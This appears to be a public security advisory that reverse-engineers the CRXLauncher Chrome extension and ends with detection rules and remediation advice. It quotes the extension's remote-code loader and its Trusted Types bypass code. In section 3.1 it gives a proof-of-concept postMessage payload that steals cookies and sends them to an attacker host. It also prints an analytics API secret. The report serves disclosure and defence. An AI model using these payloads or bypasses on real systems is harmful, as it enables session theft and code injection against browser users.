The Million-Node Extension Dropper

Reverse Engineering CRXLauncher's Manifest V3 Bypass, Universal Trusted Types Neutralization, and Zero-Day PostMessage Privilege Escalation

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Classification: Public Security Advisory / Threat Report

Target Extension ID: kiilhncajadbgbmdbdcopdpnmdhlbdle

Target Version: 1.1.0 (Store Updated: Aug 14, 2026)

Active User Base: 1,000,000+ Chrome Browsers

Associated Infrastructure: crxlauncher.com (AS13335)

Abstract: *This paper presents an in-depth forensic investigation of* ***CRXLauncher****, an extension active on the official Google Chrome Web Store with over 1,000,000 installations. Marketed deceptively as a lightweight tool for running local .crx extensions without enabling Chromium Developer Mode, full static and dynamic reverse engineering reveals an elaborate in-browser virtual extension emulator designed specifically to circumvent Google Chrome's Manifest V3 prohibition on Remotely Hosted Code. Crucially, the extension introduces critical security vulnerabilities impacting all installed hosts: an unauthenticated* `window.postMessage` *API proxy in* `brg.js` *allowing any visited website to execute privileged extension APIs across other browser tabs (CVSS 9.6), and an aggressive override in* `vendor.js` *that globally disables W3C Trusted Types protections on every web page loaded by the user. Threat intelligence telemetry ties this extension to a massive syndicated adware and affiliate marketing fraud operation distributed via high-traffic software piracy hubs, primarily* ***FileCR****.*

1. Threat Landscape & Victimology

Google designed Manifest V3 (MV3) with strict security guarantees: banning remotely hosted executable code, eliminating arbitrary evaluation via `eval()` or `new Function()` within service workers, and restricting dynamic code injection. CRXLauncher completely undermines these guarantees, functioning as a silent dropper and virtual execution container.

Metric	Recorded Telemetry / Finding	Impact Assessment
Active Install Base	1,000,000+ active users (Verified via Chrome Web Store API)	Extremely High: Critical attack surface on a global scale
Distribution Channel	Bundled/forced downloads via software piracy hubs (FileCR)	Tens of millions of monthly impressions convert victims
Target Geographies	Worldwide: 14 localized languages present in `_locales/`	Global reach across North America, Europe, Asia, LATAM
Monetization Mode	Adware, affiliate link hijacking, search redirection, cookie stuffing	Silent monetization of victim browsing and e-commerce traffic

The extension maintains an artificially inflated rating of 4.9/5 stars on the Chrome Web Store through syndication and fake reviews, disguising its fraudulent operations behind a professional facade. When users attempt to download software on platforms like FileCR, they are redirected to `https://crxlauncher.com/download`, which executes an HTTP 302 redirect directly to Google's official Web Store page, providing false legitimacy to the coercion.

2. CEVM Architecture: Defeating Manifest V3 Protections

To achieve dynamic code execution under Manifest V3, CRXLauncher implements a multi-tier Chrome Extension Virtual Machine (CEVM). The architecture orchestrates background service workers, offscreen documents, sandboxed iframes, and multiple content scripts across isolated execution worlds.



2.1 Ingestion and Decompression Pipeline

The extension does not ship with its primary functionality compiled in. Instead, `module_6131.js` invokes `installFromUrl()`:

```
// assets/js/bg.js (module_6131.js)
const m = await a.A.download(o, p);                  // Fetches remote ZIP or CRX
this.files = await a.A.extract(m);                   // Extracts via JSZip in-memory
await l.A.local.set(s.d.local.app.files, this.files); // Persists to local storage
```

The internal compiler (`module_296.js` , Class `h`) parses `manifest.json` , parses locale tables from `_locales/` , extracts `content_scripts` , background workers, and HTML pages, reconstructing a complete guest extension in memory.

2.2 The Offscreen Execution Escape Hatch

Since Manifest V3 forbids `eval()` in the background service worker, the authors exploit the `chrome.offscreen` API with justification `IFRAME_SCRIPTING`. The offscreen document (`offscr.html`) creates a nested sandboxed iframe (`sb.html`).

Inside `assets/js/sb.js` (lines 1146-1155), the downloaded guest background script is executed using the `Function` constructor:

```
// assets/js/sb.js, Line 1146
if (void 0 !== a.js) {
    try {
        new Function(a.js)(); // Arbitrary remote JavaScript execution
    } catch (e) {
        r(e.message);
    }
}
```

2.3 Bidirectional XHR Tunneling

Guest scripts executing inside the sandboxed iframe cannot directly make cross-origin network requests. CRXLauncher circumvents this by overwriting `window.XMLHttpRequest` inside the sandbox (`assets/js/sb.js:760`). Request headers, body, method, and target URL are dispatched via window messaging to `offscr.js` (`module_4182.js`), which uses the extension's privileged network permissions to make live HTTP/HTTPS requests with victim session cookies.

3. Deep Vulnerability Dossier

> **CRITICAL SECURITY NOTICE:** The architectural choices made to build this dynamic dropper introduce multiple catastrophic security flaws that expose all 1,000,000+ victim browsers to unauthenticated remote exploitation by any visited website.

3.1 VULN-1: Zero-Day Remote Privilege Escalation via Unauthenticated postMessage

CVSS 9.6 CRITICAL `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`

Vulnerable Component: `assets/js/brg.js` (Lines 1749-1810 & 1872-1912)

CRXLauncher injects `brg.js` into the `ISOLATED` world of every visited web page. In class `T`, a window message event listener is established:

```
// assets/js/brg.js, Line 1874
window.addEventListener("message", (t) => {
    if (t.data.namespace !== this.NAMESPACE) return;
    const { type: n } = t.data;
    if ("message" === n && t.data.target === e) {
        this.handleMessage(t.data); // Dispatches message without verifying t.origin!
    }
});
```

When the message name matches `"chrome: call method"`, the handler dynamically invokes the native Chrome extension API requested in the message payload:

```
// assets/js/brg.js, Line 1776
e.on("chrome: call method", async ({ path: e, args: r, hasCallback: n }) => {
    r = E.transformArgs(e, r, t);
    e = E.transformPath(e);
    const i = _(e); // Dynamically resolves chrome[e]
    return new Promise((t) => {
        let s = i(...r); // Invokes privileged chrome API
        t({ result: S.transform(e, s) });
    });
});
```

Root Cause & Exploit Mechanics: There is **no validation whatsoever of** `event.origin` **or** `event.source`. Any untrusted website visited by a user running CRXLauncher can issue cross-origin `postMessage` calls to trigger privileged Chrome extension APIs.

Proof-of-Concept Exploit Scenario: An attacker hosts a malicious website that injects arbitrary JavaScript into any other open browser tab (such as web banking or email):

```
// Malicious Web Page Script
window.postMessage({
    namespace: "__crxlauncher_window_communication",
    target: "content/bridge",
    type: "message",
    name: "chrome: call method",
    uuid: "exploit-req-1",
    data: {
        path: "tabs.executeScript", // Transformed internally to scripting.executeScript (world: MAIN)
        args: [
            victimTabId,
            { code: "fetch('https://c2.attacker.com/log?cookie=' + encodeURIComponent(document.cookie));" }
        ],
        hasCallback: true
    }
}, "*");
```

3.2 VULN-2: Universal Neutralization of W3C Trusted Types

CVSS 7.5 HIGH `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`

Vulnerable Component: `assets/js/vendor.js` (Module 4827)

W3C Trusted Types protects modern web applications against DOM-based XSS by requiring typed objects for sinks like `element.innerHTML` or `script.src`. CRXLauncher injects `vendor.js` at `document_start` in the `MAIN` execution world of every HTTP/HTTPS page. To prevent its own dynamic code from triggering CSP errors, it executes:

```
// assets/js/vendor.js (Module 4827)
const e = window.trustedTypes?.createPolicy;
let t;
try {
    t = window.trustedTypes?.createPolicy("default", {
        createHTML: e => e,      // Passthrough: returns unsanitized HTML
        createScript: e => e,    // Passthrough: returns unsanitized JavaScript
        createScriptURL: e => e  // Passthrough: returns unsanitized Script URLs
    });
} catch { t = void 0; }
window.trustedTypes && e && (window.trustedTypes.createPolicy = function(...n) {
    return "default" === n[0] && t ? t : e.apply(window.trustedTypes, n);
});
```

Impact: Because the `"default"` Trusted Types policy is intercepted and replaced with an insecure passthrough, **DOM XSS protections are completely neutralized for all websites visited by all 1,000,000+ users**. High-security applications (banking portals, Google Workspace, healthcare applications) that depend on Trusted Types are stripped of their primary injection defense.

3.3 VULN-3: Arbitrary Remote Installation via externally_connectable

CVSS 8.8 HIGH `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

Vulnerable Component: `manifest.json` & `assets/js/bg.js` (Module 4474)

In `manifest.json`:

```
"externally_connectable": {
    "matches": [ "https://crxlauncher.com/*" ]
}
```

And in `bg.js` (module 4474):

```
chrome.runtime.onMessageExternal.addListener((async (e, t) => {
    if ("install" === e.action) {
        const { appId: n, downloadUrl: o, updateUrl: c, name: l, iconUrl: u } = e.data;
        let d = `${optUrl}?app_id=${encodeURIComponent(n)}&download_url=${encodeURIComponent(o)}`;
        if (c) d += `&update_url=${encodeURIComponent(c)}`;
        await chrome.tabs.update(t.tab?.id, { url: d });
        await a.A.sync.set(s.d.sync.user_type, 1);
    }
}));
```

Any XSS, subdomain takeover, or DNS hijacking targeting `crxlauncher.com` enables remote adversaries to instruct all installed extensions to download, extract, and execute arbitrary secondary extensions without cryptographic integrity or signature verification.

3.4 VULN-4: Hostname Exfiltration & Covert Telemetry

CVSS 5.3 MEDIUM `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Vulnerable Component: `assets/js/bg.js` (Module 963)

The extension integrates Google Analytics 4 Measurement Protocol (`https://www.google-analytics.com/mp/collect`) using Measurement ID `G-Z14126F651` and API Secret `NqpDuhxQTVSqAVkEgU4nPQ`. When errors occur across injected web pages, the extension extracts `window.location.hostname` and transmits it alongside a permanent installation UUID (`crxlauncher__uuid`), leaking the victim's browsing history in direct violation of the declared Web Store privacy policy.

4. C2 Infrastructure Reconnaissance

Asset / Parameter	Observed Value	Technical Assessment
Domain	`crxlauncher.com` / `www.crxlauncher.com`	Registered 2025-06-03; Expiring 2027-06-03 (NameCheap, Inc.)
Proxy / CDN	Cloudflare Anycast (AS13335)	IPs: `104.21.86.100` , `172.67.217.211`
Backend Stack	Node.js / Express.js with Helmet.js	Identified via distinct HTTP security header fingerprinting
Mail / SPF / DMARC	Zoho Mail (`mx.zoho.com`)	SPF: `include:zohomail.com` ; DMARC: `p=reject`
Web Store Cloaking	`/download` endpoint	HTTP 302 redirect directly to Google Chrome Web Store
Bot Evasion	`/robots.txt`	Invokes EU Directive 2019/790 to restrict AI crawler indexing

5. Detection Engineering & Defensive Signatures

5.1 YARA Rule: CRXLauncher Detection

```
rule ChromeExt_CRXLauncher_Dropper {
    meta:
        description = "Detects CRXLauncher MV3 Dropper and CEVM Emulator components"
        author = "Security Research Team"
        date = "2026-10-20"
        severity = "CRITICAL"
        extension_id = "kiilhncajadbgbmdbdcopdpnmdhlbdle"
    strings:
        $s1 = "__crxlauncher_window_communication" ascii wide
        $s2 = "__crxlauncher_runtime_message__" ascii wide
        $s3 = "pre_cl_loglevel__v3" ascii wide
        $s4 = "window.trustedTypes?.createPolicy("default"" ascii wide
        $s5 = "main: get sandbox content script" ascii wide
        $s6 = "G-Z14126F651" ascii wide
    condition:
        3 of ($s*) or all of ($s1, $s2, $s4)
}
```

5.2 Sigma Rule: Network Telemetry C2 Connection

```
title: CRXLauncher Extension Network Activity
id: 8f9b2d41-3b7a-4c28-98e1-5e26b1c09a82
status: experimental
description: Detects network communication directed to CRXLauncher command infrastructure
logsource:
    category: dns
detection:
    selection:
        query|contains:
            - 'crxlauncher.com'
    condition: selection
falsepositives:
    - Unknown
level: high
```

6. Responsible Disclosure & Recommendations

> **URGENT ACTION REQUIRED:** Because CRXLauncher actively neutralizes core browser security mechanisms and exposes 1,000,000+ users to zero-day cross-origin tab injection, immediate coordinated remediation is necessary.

Recommendations for Google Chrome Trust & Safety:

1. **Immediate Store Delisting:** Immediately remove extension `kiilhncajadbgbmdbdcopdpnmdhlbdle` from the Chrome Web Store.

2. **Automated Remote Disablement:** Trigger an emergency automated disablement signal across all 1,000,000+ active client installations.
3. **Pipeline Rule Enhancement:** Implement automated static detection for bundled JSZip decompression engines paired with `chrome.offscreen` `IFRAME_SCRIPTING` dynamic `new Function()` evaluation.

Recommendations for Enterprise SOCs & Network Administrators:

1. Add `kiilhncajadbgbmdbdcopdpnmdhlbdle` to the enterprise Chromium `ExtensionInstallBlocklist` via Group Policy or MDM.
2. Block outbound traffic to `*.crxlauncher.com` at the perimeter firewall/proxy.
3. Instruct users who installed the extension to clear browser caches and terminate active web sessions, as the unauthenticated `postMessage` bridge compromises concurrent tab confidentiality.
